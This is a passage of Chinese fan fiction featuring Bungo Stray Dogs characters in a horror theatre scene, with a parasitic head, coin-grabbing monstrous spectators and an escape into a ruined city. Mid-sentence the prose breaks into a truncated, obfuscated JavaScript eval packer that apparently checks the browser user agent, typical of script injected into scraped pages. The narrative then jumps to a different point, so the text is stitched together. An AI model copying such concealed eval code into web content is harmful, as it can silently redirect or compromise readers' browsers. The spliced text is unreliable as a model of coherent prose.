一瞬间，胸腔里翻江倒海。 被不知名的视线从头到脚观摩，而后侵入脑海之中的恶心感浸满全身。 芥川的五脏六腑绞痛不已，他唇边渗出一缕血痕，被那双眼睛盯住的手臂自上而下血肉层层剥落，染红了他的白色上衣。 几乎崩溃的血线、失血的眩晕感，芥川龙之介拼尽全力，将自己向上几步，脱离了那颗头颅的的双眼。 但它长在尸体的颈部，学会的活动，在范围里，它贪婪地不断顺着芥川龙之介躲闪的位置追随而去。 脱落的血液被无端吸入了头颅大张的口中，它品尝到新鲜的味道，激动地扭动着，仿佛要将自己从和尸体链接的部位挣脱。 就像寄生于那具尸体一般，它在寻找下一个，能为它提供养料的宿主。 “痛……好痛……” “呜呜呜……需要……给……” “我……需要……” 它挣扎着，不断跟着芥川的行动轨迹而“看”过去，失血过多的垂耳兔青年喘息着，在意识模糊间，还不忘了要远离太宰与中也所处的位置。 一顶尖叫宽大的黑色魔女帽被轻轻抛出，罩在那张脸上。 芥川龙之介爬行的动作被一只白皙细腻的手制止。 中原中也歪头，看着垂耳兔青年那一节空空荡荡，衣衫贴骨的手臂，轻轻拍了拍芥川的头，声音空灵而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎呀，我们的小先生们怎么突然闹起矛盾了？”橙发女人在两人争锋相对的对峙间恰到好处地开口，打断了他们的义愤填膺。 “亲爱的，我想你们应当快些过来，毕竟，这帷幕已经走了一半了，这些观众们看起来就要迫不及待地揭开自己的面罩进行观演了。” 随着舞台之上，帷幕向中不断拉拢，那些形态怪异的观众们背后的人头成长速度越来越快。 太宰从座椅背部顶端跃下，和中原中也一起站在通道中，环顾四周。 对橙发女人出手的那一名观众就像是被打开的潘多拉魔盒，随着他的燃烧陨落，激动起周遭所有异化濒临成熟的观众，弓着身，用怨毒的视线看着正中央的太宰等人。 只要他们有任何离开通道的想法，他们就会毫不犹豫伸出手阻拦。 “呜呜呜……痛……好痛……” “钱……没有钱……” “需要……给……” 在不断回荡的呢喃声里，太宰治摸出自己和芥川身上的羊皮钱袋，抓出其中的银币，一把一把，向两侧抛出。 哭泣的声音突兀转化为贪婪而疯狂的嘶吼，这些观众们不约而同扑向那些落下的银币。 中原中也抗着芥川，在太宰治身后，走到橙发女人身边。 帷幕还差不足一指宽就要完全合拢，橙发女人笑着领着他们，快速走向侧方的通道，她的步伐很快，全然不似一个穿着如此反复衣裳的人。 空气中令人昏沉窒息的气味越来越浓。 “不要回头。”女人开口。 在通道的最后，她伸手，推开一扇紧闭的门。 太宰侧让中也先离开，随后而出，余光里，乐堂之中燃起熊熊大火，那一位幻境中的安吉尔被高悬于壁画之上，作为画面中受难的“神”。 门扉被缓缓合拢，门外，是一片空荡的荒凉。 并非燃烧的焦土，也不是祥和的赫尔城，只是一座看起来久远之后，残垣断壁，空荡的城池。 这是第三种时间。 前方领路的女人手中正提着一盏油灯，转头，向太宰与中也颔首：“妾身，尾崎红叶，和你们一样，误入这里。请多指教。”